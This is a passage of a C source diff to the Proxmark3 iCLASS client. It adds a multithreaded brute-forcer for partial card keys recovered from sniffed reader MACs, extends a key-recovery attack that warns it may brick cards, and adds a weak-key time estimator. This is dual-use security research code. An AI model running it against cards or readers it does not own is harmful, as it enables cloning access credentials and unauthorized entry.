_YELLOW_("%02d") " to: " _YELLOW_("%02d"), (startblock == 0) ? 6 : startblock, endblock); } @@ -3240,10 +3935,7 @@ static int CmdHFiClassView(const char *Cmd) { print_picopass_info((picopass_hdr_t *) dump); printIclassDumpContents(dump, startblock, endblock, bytes_read, dense_output); iclass_decode_credentials(dump); - - if (verbose) { - print_iclass_sio(dump, bytes_read); - } + print_iclass_sio(dump, bytes_read, verbose); free(dump); return PM3_SUCCESS; @@ -3252,13 +3944,14 @@ static int CmdHFiClassView(const char *Cmd) { void HFiClassCalcDivKey(uint8_t *CSN, uint8_t *KEY, uint8_t *div_key, bool elite) { if (elite) { uint8_t keytable[128] = {0}; - uint8_t key_index[8] = {0}; - uint8_t key_sel[8] = { 0 }; - uint8_t key_sel_p[8] = { 0 }; + uint8_t key_index[PICOPASS_BLOCK_SIZE] = {0}; + uint8_t key_sel[PICOPASS_BLOCK_SIZE] = {0}; + uint8_t key_sel_p[PICOPASS_BLOCK_SIZE] = {0}; hash2(KEY, keytable); hash1(CSN, key_index); - for (uint8_t i = 0; i < 8 ; i++) + for (uint8_t i = 0; i < 8 ; i++) { key_sel[i] = keytable[key_index[i]]; + } //Permute from iclass format to standard format permutekey_rev(key_sel, key_sel_p); @@ -3272,8 +3965,8 @@ void HFiClassCalcDivKey(uint8_t *CSN, uint8_t *KEY, uint8_t *div_key, bool elite //calculate and return xor_div_key (ready for a key write command) //print all div_keys if verbose static void HFiClassCalcNewKey(uint8_t *CSN, uint8_t *OLDKEY, uint8_t *NEWKEY, uint8_t *xor_div_key, bool elite, bool oldElite, bool verbose) { - uint8_t old_div_key[8] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; - uint8_t new_div_key[8] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t old_div_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t new_div_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; //get old div key HFiClassCalcDivKey(CSN, OLDKEY, old_div_key, oldElite); //get new div key @@ -3283,9 +3976,9 @@ static void HFiClassCalcNewKey(uint8_t *CSN, uint8_t *OLDKEY, uint8_t *NEWKEY, u xor_div_key[i] = old_div_key[i] ^ new_div_key[i]; } if (verbose) { - PrintAndLogEx(SUCCESS, "Old div key......... %s", sprint_hex(old_div_key, 8)); - PrintAndLogEx(SUCCESS, "New div key......... %s", sprint_hex(new_div_key, 8)); - PrintAndLogEx(SUCCESS, "Xor div key......... " _YELLOW_("%s") "\n", sprint_hex(xor_div_key, 8)); + PrintAndLogEx(SUCCESS, "Old div key.... %s", sprint_hex_inrow(old_div_key, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(SUCCESS, "New div key.... " _MAGENTA_("%s"), sprint_hex_inrow(new_div_key, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(SUCCESS, "Xor div key.... " _YELLOW_("%s") "\n", sprint_hex_inrow(xor_div_key, PICOPASS_BLOCK_SIZE)); } } @@ -3408,6 +4101,7 @@ static int CmdHFiClassCalcNewKey(const char *Cmd) { uint8_t xor_div_key[8] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + PrintAndLogEx(NORMAL, ""); if (givenCSN == false) { uint8_t CCNR[12] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; if (select_only(csn, CCNR, true, false) == false) { @@ -3417,7 +4111,8 @@ static int CmdHFiClassCalcNewKey(const char *Cmd) { } HFiClassCalcNewKey(csn, old_key, new_key, xor_div_key, elite, old_elite, true); - + PrintAndLogEx(HINT, "Hint: Depending if card is in " _MAGENTA_("PERSONALIZATION") " or "_YELLOW_("APPLICATION") " mode"); + PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } @@ -3579,14 +4274,14 @@ static void add_key(uint8_t *key) { if (i == ICLASS_KEYS_MAX) { PrintAndLogEx(INFO, "Couldn't find an empty keyslot"); } else { - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass managekeys -p") "` to view keys"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf iclass managekeys -p") "` to view keys"); } } static int CmdHFiClassCheckKeys(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass chk", - "Checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iClass tag", + "Checkkeys loads a dictionary text file with 8 byte hex keys to test authenticating against a iCLASS tag", "hf iclass chk -f iclass_default_keys.dic\n" "hf iclass chk -f iclass_elite_keys.dic --elite\n" "hf iclass chk --vb6kdf\n"); @@ -3622,24 +4317,31 @@ static int CmdHFiClassCheckKeys(const char *Cmd) { uint8_t CSN[8] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t CCNR[12] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + // no filename and don't use algorithm for elite + // just add the default dictionary + if ((strlen(filename) == 0) && (use_vb6kdf == false)) { + + if (use_elite) { + PrintAndLogEx(INFO, "Using default elite dictionary"); + snprintf(filename, sizeof(filename), ICLASS_DEFAULT_KEY_ELITE_DIC); + } else { + PrintAndLogEx(INFO, "Using default dictionary"); + snprintf(filename, sizeof(filename), ICLASS_DEFAULT_KEY_DIC); + } + } + uint64_t t1 = msclock(); // load keys uint8_t *keyBlock = NULL; uint32_t keycount = 0; - if (!use_vb6kdf) { - // Load keys - int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount); - if (res != PM3_SUCCESS || keycount == 0) { - free(keyBlock); - return res; - } - } else { + if (use_vb6kdf) { // Generate 5000 keys using VB6 KDF keycount = 5000; keyBlock = calloc(1, keycount * 8); if (keyBlock == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -3647,6 +4349,13 @@ static int CmdHFiClassCheckKeys(const char *Cmd) { for (uint32_t i = 0; i < keycount; i++) { picopass_elite_nextKey(keyBlock + (i * 8)); } + } else { + // Load keys + int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount); + if (res != PM3_SUCCESS || keycount == 0) { + free(keyBlock); + return res; + } } // limit size of keys that can be held in memory @@ -3678,7 +4387,7 @@ static int CmdHFiClassCheckKeys(const char *Cmd) { // allocate memory for the pre calculated macs iclass_premac_t *pre = calloc(keycount, sizeof(iclass_premac_t)); if (pre == NULL) { - PrintAndLogEx(WARNING, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -3686,8 +4395,10 @@ static int CmdHFiClassCheckKeys(const char *Cmd) { PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR))); PrintAndLogEx(INFO, "Generating diversified keys %s", (use_elite || use_raw) ? NOLF : ""); + if (use_elite) PrintAndLogEx(NORMAL, "using " _YELLOW_("elite algo")); + if (use_raw) PrintAndLogEx(NORMAL, "using " _YELLOW_("raw mode")); @@ -3738,7 +4449,7 @@ static int CmdHFiClassCheckKeys(const char *Cmd) { uint32_t tmp_plen = sizeof(iclass_chk_t) + (4 * curr_chunk_cnt); iclass_chk_t *packet = calloc(tmp_plen, sizeof(uint8_t)); if (packet == NULL) { - PrintAndLogEx(WARNING, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); break; } packet->use_credit_key = use_credit_key; @@ -3759,7 +4470,7 @@ static int CmdHFiClassCheckKeys(const char *Cmd) { timeout++; PrintAndLogEx(NORMAL, "." NOLF); if (timeout > 10) { - PrintAndLogEx(WARNING, "\ncommand execute timeout, aborting..."); + PrintAndLogEx(WARNING, "\ncommand execution time out, aborting..."); goto out; } looped = true; @@ -3846,287 +4557,539 @@ void picopass_elite_nextKey(uint8_t *key) { } prepared = true; } - memcpy(key, key_state, 8); + memcpy(key, key_state, PICOPASS_BLOCK_SIZE); } -static int CmdHFiClassRecover(uint8_t key[8]) { +static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, uint8_t no_first_auth[8], bool debug, bool test, bool fast, bool short_delay, bool allnight) { - uint32_t payload_size = sizeof(iclass_recover_req_t); - uint8_t aa2_standard_key[PICOPASS_BLOCK_SIZE] = {0}; - memcpy(aa2_standard_key, iClass_Key_Table[1], PICOPASS_BLOCK_SIZE); - iclass_recover_req_t *payload = calloc(1, payload_size); - payload->req.use_raw = true; - payload->req.use_elite = false; - payload->req.use_credit_key = false; - payload->req.use_replay = true; - payload->req.send_reply = true; - payload->req.do_auth = true; - payload->req.shallow_mod = false; - payload->req2.use_raw = false; - payload->req2.use_elite = false; - payload->req2.use_credit_key = true; - payload->req2.use_replay = false; - payload->req2.send_reply = true; - payload->req2.do_auth = true; - payload->req2.shallow_mod = false; - memcpy(payload->req.key, key, 8); - memcpy(payload->req2.key, aa2_standard_key, 8); - - PrintAndLogEx(INFO, "Recover started..."); - - PacketResponseNG resp; - clearCommandBuffer(); - SendCommandNG(CMD_HF_ICLASS_RECOVER, (uint8_t *)payload, payload_size); - - WaitForResponse(CMD_HF_ICLASS_RECOVER, &resp); - - if (resp.status == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "iCLASS Key Bits Recovery " _GREEN_("successful")); - } else { - PrintAndLogEx(WARNING, "iCLASS Key Bits Recovery " _RED_("failed")); + int runs = 1; + int cycle = 1; + bool repeat = true; + if (allnight) { + runs = 10; } - free(payload); - return resp.status; + while (repeat == true) { + uint32_t payload_size = sizeof(iclass_recover_req_t); + uint8_t aa2_standard_key[PICOPASS_BLOCK_SIZE] = {0}; + memcpy(aa2_standard_key, iClass_Key_Table[1], PICOPASS_BLOCK_SIZE); + iclass_recover_req_t *payload = calloc(1, payload_size); + payload->req.use_raw = true; + payload->req.use_elite = false; + payload->req.use_credit_key = false; + payload->req.use_replay = true; + payload->req.send_reply = true; + payload->req.do_auth = true; + payload->req.shallow_mod = false; + payload->req2.use_raw = false; + payload->req2.use_elite = false; + payload->req2.use_credit_key = true; + payload->req2.use_replay = false; + payload->req2.send_reply = true; + payload->req2.do_auth = true; + payload->req2.shallow_mod = false; + payload->index = index_start; + payload->loop = loop; + payload->debug = debug; + payload->test = test; + payload->fast = fast; + payload->short_delay = short_delay; + memcpy(payload->nfa, no_first_auth, PICOPASS_BLOCK_SIZE); + memcpy(payload->req.key, key, PICOPASS_BLOCK_SIZE); + memcpy(payload->req2.key, aa2_standard_key, PICOPASS_BLOCK_SIZE); + + PrintAndLogEx(INFO, "Recover started..."); + + PacketResponseNG resp; + clearCommandBuffer(); + SendCommandNG(CMD_HF_ICLASS_RECOVER, (uint8_t *)payload, payload_size); + WaitForResponse(CMD_HF_ICLASS_RECOVER, &resp); + + if (resp.status == PM3_SUCCESS) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "iCLASS Key Bits Recovery: " _GREEN_("completed!")); + repeat = false; + } else if (resp.status == PM3_EOPABORTED) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(WARNING, "iCLASS Key Bits Recovery: " _YELLOW_("aborted via keyboard!")); + repeat = false; + } else if (resp.status == PM3_ESOFT) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(WARNING, "iCLASS Key Bits Recovery: " _RED_("failed/errors")); + repeat = false; + } else if (resp.status == PM3_EINVARG) { + if (allnight) { + if (runs <= cycle) { + repeat = false; + } else { + index_start = index_start + loop; + cycle++; + } + } else { + repeat = false; + } + } + free(payload); + if (!repeat) { + return resp.status; + } + } + return PM3_SUCCESS; } +void generate_key_block_inverted(const uint8_t *startingKey, uint64_t index, uint8_t *keyBlock) { + uint64_t carry = index; + memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE); + + for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) { + uint8_t increment_value = (carry & 0x1F) << 3; // Use the first 5 bits of carry and shift left by 3 to occupy the first 5 bits + keyBlock[j] = (keyBlock[j] & 0x07) | increment_value; // Preserve last 3 bits, modify the first 5 bits + + carry >>= 5; // Shift right by 5 bits for the next byte + if (carry == 0) { + // If no more carry, break early to avoid unnecessary loops + break; + } + } +} + + +// HF iClass legbrute - Thread argument structure typedef struct { - uint32_t start_index; - uint32_t keycount; - const uint8_t *startingKey; - uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE]; -} ThreadData; + uint8_t startingKey[8]; + uint64_t index_start; + uint8_t CCNR1[12]; + uint8_t MAC_TAG1[4]; + uint8_t CCNR2[12]; + uint8_t MAC_TAG2[4]; + int thread_id; + int thread_count; + volatile bool *found; + pthread_mutex_t *log_lock; +} thread_args_t; -void *generate_key_blocks(void *arg) { - ThreadData *data = (ThreadData *)arg; - uint32_t start_index = data->start_index; - uint32_t keycount = data->keycount; - const uint8_t *startingKey = data->startingKey; - uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE] = data->keyBlock; +// HF iClass legbrute - Brute-force worker thread +static void *brute_thread(void *args_void) { - for (uint32_t i = 0; i < keycount; i++) { - uint32_t carry = start_index + i; - memcpy(keyBlock[i], startingKey, PICOPASS_BLOCK_SIZE); + thread_args_t *args = (thread_args_t *)args_void; + uint8_t div_key[8]; + uint8_t mac[4]; + uint8_t verification_mac[4]; + uint64_t index = args->index_start; - for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) { - uint8_t increment_value = (carry & 0x1F) << 3; // Use only the first 5 bits of carry - keyBlock[i][j] = (keyBlock[i][j] & 0x07) | increment_value; // Preserve the last three bits + while (!*(args->found)) { - carry >>= 5; // Shift right by 5 bits for the next byte - if (carry == 0) { - // If no more carry, break early to avoid unnecessary loops + generate_key_block_inverted(args->startingKey, index, div_key); + doMAC(args->CCNR1, div_key, mac); + + if (memcmp(mac, args->MAC_TAG1, 4) == 0) { + doMAC(args->CCNR2, div_key, verification_mac); + if (memcmp(verification_mac, args->MAC_TAG2, 4) == 0) { + pthread_mutex_lock(args->log_lock); + if (!*(args->found)) { + *args->found = true; + PrintAndLogEx(NORMAL, "\n"); + PrintAndLogEx(SUCCESS, "Found valid raw key " _GREEN_("%s"), sprint_hex_inrow(div_key, 8)); + PrintAndLogEx(HINT, "Hint: Run `"_YELLOW_("hf iclass unhash -k %s")"` to find the needed pre-images", sprint_hex_inrow(div_key, 8)); + PrintAndLogEx(INFO, "Done!"); + PrintAndLogEx(NORMAL, ""); + } + pthread_mutex_unlock(args->log_lock); break; } } - } + if (index % 1000000 == 0 && !*(args->found)) { + + if (args->thread_id == 0) { + pthread_mutex_lock(args->log_lock); + PrintAndLogEx(INPLACE, "Tested "_YELLOW_("%" PRIu64)" million keys, curr index: "_YELLOW_("%" PRIu64)", Thread[0]: %s" + , ((index / 1000000) * args->thread_count) + , (index / 1000000) + , sprint_hex_inrow(div_key, 8) + ); + pthread_mutex_unlock(args->log_lock); + } + + } + index++; + } return NULL; } -static int CmdHFiClassLegRecLookUp(const char *Cmd) { +// HF iClass legbrute - Multithreaded brute-force function +static int CmdHFiClassLegBrute_MT(uint8_t epurse[8], uint8_t macs[8], uint8_t macs2[8], uint8_t startingKey[8], uint64_t index, int threads) { - //Standalone Command Start + int thread_count = threads; + if (thread_count < 1) { + thread_count = 1; + } + if (thread_count > 16) { + thread_count = 16; + } + PrintAndLogEx(INFO, "Bruteforcing using " _YELLOW_("%u") " threads", thread_count); + PrintAndLogEx(NORMAL, ""); + + uint8_t CCNR[12], CCNR2[12], MAC_TAG[4], MAC_TAG2[4]; + + memcpy(CCNR, epurse, 8); + memcpy(CCNR2, epurse, 8); + memcpy(CCNR + 8, macs, 4); + memcpy(CCNR2 + 8, macs2, 4); + memcpy(MAC_TAG, macs + 4, 4); + memcpy(MAC_TAG2, macs2 + 4, 4); + + pthread_t tids[thread_count]; + thread_args_t args[thread_count]; + volatile bool found = false; + pthread_mutex_t log_lock; + pthread_mutex_init(&log_lock, NULL); + + int nibble_range = 16 / thread_count; + for (int i = 0; i < thread_count; i++) { + memcpy(args[i].startingKey, startingKey, 8); + args[i].startingKey[0] = (startingKey[0] & 0x0F) | ((i * nibble_range) << 4); + args[i].index_start = index; + memcpy(args[i].CCNR1, CCNR, 12); + memcpy(args[i].MAC_TAG1, MAC_TAG, 4); + memcpy(args[i].CCNR2, CCNR2, 12); + memcpy(args[i].MAC_TAG2, MAC_TAG2, 4); + args[i].thread_id = i; + args[i].thread_count = thread_count; + args[i].found = &found; + args[i].log_lock = &log_lock; + + pthread_create(&tids[i], NULL, brute_thread, &args[i]); + } + + for (int i = 0; i < thread_count; i++) { + pthread_join(tids[i], NULL); + } + pthread_mutex_destroy(&log_lock); + + return found ? PM3_SUCCESS : ERR; +} + +// CmdHFiClassLegBrute function with CLI and multithreading support +static int CmdHFiClassLegBrute(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass legbrute", - "This command take sniffed trace data and partial raw key and bruteforces the remaining 40 bits of the raw key.", - "hf iclass legbrute --csn 8D7BD711FEFF12E0 --epurse feffffffffffffff --macs 00000000BD478F76 --pk B4F12AADC5301225" - ); + "This command takes sniffed trace data and a partial raw key and bruteforces the remaining 40 bits of the raw key.\n" + "Complete 40 bit keyspace is 1'099'511'627'776 and command is locked down to max 16 threads currently.\n" + "A possible worst case scenario on 16 threads estimates XXX days YYY hours MMM minutes.", + "hf iclass legbrute --epurse feffffffffffffff --macs1 1306cad9b6c24466 --macs2 f0bf905e35f97923 --pk B4F12AADC5301225"); void *argtable[] = { arg_param_begin, - arg_str1(NULL, "csn", "", "Specify CSN as 8 hex bytes"), arg_str1(NULL, "epurse", "", "Specify ePurse as 8 hex bytes"), - arg_str1(NULL, "macs", "", "MACs"), - arg_str1(NULL, "pk", "", "Partial Key"), + arg_str1(NULL, "macs1", "", "MACs captured from the reader"), + arg_str1(NULL, "macs2", "", "MACs captured from the reader, different than the first set (with the same csn and epurse value)"), + arg_str1(NULL, "pk", "", "Partial Key from legrec or starting key of keyblock from legbrute"), + arg_int0(NULL, "index", "", "Where to start from to retrieve the key, default 0 - value in millions e.g. 1 is 1 million"), + arg_int0(NULL, "threads", "", "Number of threads to use, by default it uses the cpu's max threads (max 16)."), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); - int csn_len = 0; - uint8_t csn[8] = {0}; - CLIGetHexWithReturn(ctx, 1, csn, &csn_len); - - if (csn_len > 0) { - if (csn_len != 8) { - PrintAndLogEx(ERR, "CSN is incorrect length"); - CLIParserFree(ctx); - return PM3_EINVARG; - } - } - int epurse_len = 0; - uint8_t epurse[8] = {0}; - CLIGetHexWithReturn(ctx, 2, epurse, &epurse_len); - - if (epurse_len > 0) { - if (epurse_len != 8) { - PrintAndLogEx(ERR, "ePurse is incorrect length"); - CLIParserFree(ctx); - return PM3_EINVARG; - } - } + uint8_t epurse[PICOPASS_BLOCK_SIZE] = {0}; + CLIGetHexWithReturn(ctx, 1, epurse, &epurse_len); int macs_len = 0; - uint8_t macs[8] = {0}; - CLIGetHexWithReturn(ctx, 3, macs, &macs_len); + uint8_t macs[PICOPASS_BLOCK_SIZE] = {0}; + CLIGetHexWithReturn(ctx, 2, macs, &macs_len); - if (macs_len > 0) { - if (macs_len != 8) { - PrintAndLogEx(ERR, "MAC is incorrect length"); - CLIParserFree(ctx); - return PM3_EINVARG; - } - } + int macs2_len = 0; + uint8_t macs2[PICOPASS_BLOCK_SIZE] = {0}; + CLIGetHexWithReturn(ctx, 3, macs2, &macs2_len); int startingkey_len = 0; - uint8_t startingKey[8] = {0}; + uint8_t startingKey[PICOPASS_BLOCK_SIZE] = {0}; CLIGetHexWithReturn(ctx, 4, startingKey, &startingkey_len); - if (startingkey_len > 0) { - if (startingkey_len != 8) { - PrintAndLogEx(ERR, "Partial Key is incorrect length"); - CLIParserFree(ctx); - return PM3_EINVARG; - } - } - + uint64_t index = arg_get_int_def(ctx, 5, 0); + index *= 1000000; + int threads = arg_get_int_def(ctx, 6, num_CPUs()); CLIParserFree(ctx); - //Standalone Command End - uint8_t CCNR[12]; - uint8_t MAC_TAG[4] = {0, 0, 0, 0}; - - // Copy CCNR and MAC_TAG - memcpy(CCNR, epurse, 8); - memcpy(CCNR + 8, macs, 4); - memcpy(MAC_TAG, macs + 4, 4); - - PrintAndLogEx(SUCCESS, " CSN: " _GREEN_("%s"), sprint_hex(csn, 8)); - PrintAndLogEx(SUCCESS, " Epurse: %s", sprint_hex(epurse, 8)); - PrintAndLogEx(SUCCESS, " MACS: %s", sprint_hex(macs, 8)); - PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR))); - PrintAndLogEx(SUCCESS, "TAG MAC: %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG))); - PrintAndLogEx(SUCCESS, "Starting Key: %s", sprint_hex(startingKey, 8)); - - uint32_t keycount = 1000000; - uint32_t keys_per_thread = 200000; - uint32_t num_threads = keycount / keys_per_thread; - pthread_t threads[num_threads]; - ThreadData thread_data[num_threads]; - iclass_prekey_t *prekey = NULL; - iclass_prekey_t lookup; - iclass_prekey_t *item = NULL; - - memcpy(lookup.mac, MAC_TAG, 4); - - uint32_t block_index = 0; - - while (item == NULL) { - for (uint32_t t = 0; t < num_threads; t++) { - thread_data[t].start_index = block_index * keycount + t * keys_per_thread; - thread_data[t].keycount = keys_per_thread; - thread_data[t].startingKey = startingKey; - thread_data[t].keyBlock = calloc(keys_per_thread, PICOPASS_BLOCK_SIZE); - - if (thread_data[t].keyBlock == NULL) { - PrintAndLogEx(ERR, "Memory allocation failed for keyBlock in thread %d.", t); - for (uint32_t i = 0; i < t; i++) { - free(thread_data[i].keyBlock); - } - return PM3_EINVARG; - } - - pthread_create(&threads[t], NULL, generate_key_blocks, (void *)&thread_data[t]); - } - - for (uint32_t t = 0; t < num_threads; t++) { - pthread_join(threads[t], NULL); - } - - if (prekey == NULL) { - prekey = calloc(keycount, sizeof(iclass_prekey_t)); - } else { - prekey = realloc(prekey, (block_index + 1) * keycount * sizeof(iclass_prekey_t)); - } - - if (prekey == NULL) { - PrintAndLogEx(ERR, "Memory allocation failed for prekey."); - for (uint32_t t = 0; t < num_threads; t++) { - free(thread_data[t].keyBlock); - } - return PM3_EINVARG; - } - - PrintAndLogEx(INFO, "Generating diversified keys..."); - for (uint32_t t = 0; t < num_threads; t++) { - GenerateMacKeyFrom(csn, CCNR, true, false, (uint8_t *)thread_data[t].keyBlock, keys_per_thread, prekey + (block_index * keycount) + (t * keys_per_thread)); - } - - PrintAndLogEx(INFO, "Sorting..."); - - // Sort mac list - qsort(prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32); - - PrintAndLogEx(SUCCESS, "Searching for " _YELLOW_("%s") " key...", "DEBIT"); - - // Binary search - item = (iclass_prekey_t *)bsearch(&lookup, prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32); - - for (uint32_t t = 0; t < num_threads; t++) { - free(thread_data[t].keyBlock); - } - - block_index++; + if (epurse_len && epurse_len != PICOPASS_BLOCK_SIZE) { + PrintAndLogEx(ERR, "ePurse is incorrect length"); + return PM3_EINVARG; } - if (item != NULL) { - PrintAndLogEx(SUCCESS, "Found valid RAW key " _GREEN_("%s"), sprint_hex(item->key, 8)); + if (macs_len && macs_len != PICOPASS_BLOCK_SIZE) { + PrintAndLogEx(ERR, "MAC1 is incorrect length"); + return PM3_EINVARG; } - free(prekey); - PrintAndLogEx(NORMAL, ""); - return PM3_SUCCESS; + if (macs2_len && macs2_len != PICOPASS_BLOCK_SIZE) { + PrintAndLogEx(ERR, "MAC2 is incorrect length"); + return PM3_EINVARG; + } + + if (startingkey_len && startingkey_len != PICOPASS_BLOCK_SIZE) { + PrintAndLogEx(ERR, "Partial Key is incorrect length"); + return PM3_EINVARG; + } + + return CmdHFiClassLegBrute_MT(epurse, macs, macs2, startingKey, index, threads); } +static void generate_single_key_block_inverted_opt(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) { + + uint8_t bits_index = index / 16383; + uint8_t ending_bits[] = { //all possible 70 combinations of 4x0 and 4x1 as key ending bits + 0x0F, 0x17, 0x1B, 0x1D, 0x1E, 0x27, 0x2B, 0x2D, 0x2E, 0x33, + 0x35, 0x36, 0x39, 0x3A, 0x3C, 0x47, 0x4B, 0x4D, 0x4E, 0x53, + 0x55, 0x56, 0x59, 0x5A, 0x5C, 0x63, 0x65, 0x66, 0x69, 0x6A, + 0x6C, 0x71, 0x72, 0x74, 0x78, 0x87, 0x8B, 0x8D, 0x8E, 0x93, + 0x95, 0x96, 0x99, 0x9A, 0x9C, 0xA3, 0xA5, 0xA6, 0xA9, 0xAA, + 0xAC, 0xB1, 0xB2, 0xB4, 0xB8, 0xC3, 0xC5, 0xC6, 0xC9, 0xCA, + 0xCC, 0xD1, 0xD2, 0xD4, 0xD8, 0xE1, 0xE2, 0xE4, 0xE8, 0xF0 + }; + + uint8_t binary_endings[8]; // Array to store binary values for each ending bit + // Extract each bit from the ending_bits[k] and store it in binary_endings + uint8_t ending = ending_bits[bits_index]; + for (int i = 7; i >= 0; i--) { + binary_endings[i] = ending & 1; + ending >>= 1; + } + + uint8_t binary_mids[8]; // Array to store the 2-bit chunks of index + // Iterate over the 16-bit integer and store 2 bits at a time in the result array + for (int i = 0; i < 8; i++) { + // Shift and mask to get 2 bits and store them as an 8-bit value + binary_mids[7 - i] = (index >> (i * 2)) & 0x03; // 0x03 is a mask for 2 bits (binary 11) + } + + memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE); + + // Start from the second byte, index 1 as we're never gonna touch the first byte + for (int i = 1; i < PICOPASS_BLOCK_SIZE; i++) { + // Clear the last bit of the current byte (AND with 0xFE) + keyBlock[i] &= 0xF8; + // Set the last bit to the corresponding value from binary_endings (OR with binary_endings[i]) + keyBlock[i] |= ((binary_mids[i] & 0x03) << 1) | (binary_endings[i] & 0x01); + } + +} + +static int CmdHFiClassLegacyRecSim(void) { + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, _YELLOW_("This simulation assumes the card is standard keyed.")); + PrintAndLogEx(INFO, ""); + + uint8_t csn[8] = {0}; + uint8_t CCNR[12] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + + if (select_only(csn, CCNR, true, false) == false) { + DropField(); + return PM3_ESOFT; + } + + uint8_t new_div_key[8] = {0}; + HFiClassCalcDivKey(csn, iClass_Key_Table[0], new_div_key, false); + + uint8_t key[PICOPASS_BLOCK_SIZE] = {0}; + uint8_t original_key[PICOPASS_BLOCK_SIZE] = {0}; + + memcpy(key, new_div_key, PICOPASS_BLOCK_SIZE); + memcpy(original_key, key, PICOPASS_BLOCK_SIZE); + + uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + int bits_found = -1; + uint32_t index = 0; + +#define MAX_UPDATES 16777216 + + while (bits_found == -1 && index < MAX_UPDATES) { + + uint8_t genkeyblock[PICOPASS_BLOCK_SIZE] = {0}; + + generate_single_key_block_inverted_opt(zero_key, index, genkeyblock); + + for (int i = 0; i < 8 ; i++) { + key[i] = genkeyblock[i] ^ original_key[i]; + } + + // Extract the last 3 bits of the first byte + uint8_t last_three_bits = key[0] & 0x07; // 0x07 is 00000111 in binary - bitmask + + bool same_bits = true; + // Check if the last 3 bits of all bytes are the same + for (int i = 1; i < PICOPASS_BLOCK_SIZE; i++) { + if ((key[i] & 0x07) != last_three_bits) { + same_bits = false; + break; + } + } + + if (same_bits) { + PrintAndLogEx(SUCCESS, "Original key... " _GREEN_("%s"), sprint_hex_inrow(original_key, sizeof(original_key))); + PrintAndLogEx(SUCCESS, "Weak key....... " _YELLOW_("%s"), sprint_hex_inrow(key, sizeof(key))); + PrintAndLogEx(SUCCESS, "Key updates required to weak key..... " _GREEN_("%d"), index); + PrintAndLogEx(SUCCESS, "Estimated time ( default mode )...... " _GREEN_("~%d")" hours", index / 17800); + PrintAndLogEx(SUCCESS, "Estimated time ( default + --sl ).... " _GREEN_("~%d")" hours", index / 19450); + PrintAndLogEx(SUCCESS, "Estimated time ( --fast mode )....... " _GREEN_("~%d")" hours", index / 26860); + PrintAndLogEx(SUCCESS, "Estimated time ( --fast + --sl )..... " _GREEN_("~%d")" hours", index / 29750); + break; + } + + index++; + } // end while + + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; + +} static int CmdHFiClassLegacyRecover(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass legrec", - "Attempts to recover the diversified key of a specific iClass card. This may take a long time. The Card must remain be on the PM3 antenna during the whole process! This process may brick the card!", - "hf iclass legrec --macs 0000000089cb984b" + "Attempts to recover the diversified key of a specific iCLASS card. This may take several days.\n" + "The card must remain be on the PM3 antenna during the whole process.\n" + _RED_(" ! Warning ! ") _WHITE_(" This process may brick the card! ") _RED_(" ! Warning ! "), + "hf iclass legrec --macs 0000000089cb984b\n" + "hf iclass legrec --macs 0000000089cb984b --index 0 --loop 100 --notest" ); void *argtable[] = { arg_param_begin, - arg_str1(NULL, "macs", "", "MACs"), + arg_str1(NULL, "macs", "", "AA1 Authentication MACs"), + arg_int0(NULL, "index", "", "Where to start from to retrieve the key (def: 0)"), + arg_int0(NULL, "loop", "", "The number of key retrieval cycles to perform, max 10000 (def 100)"), + arg_lit0(NULL, "debug", "Re-enables tracing for debugging. Limits cycles to 1"), + arg_lit0(NULL, "notest", 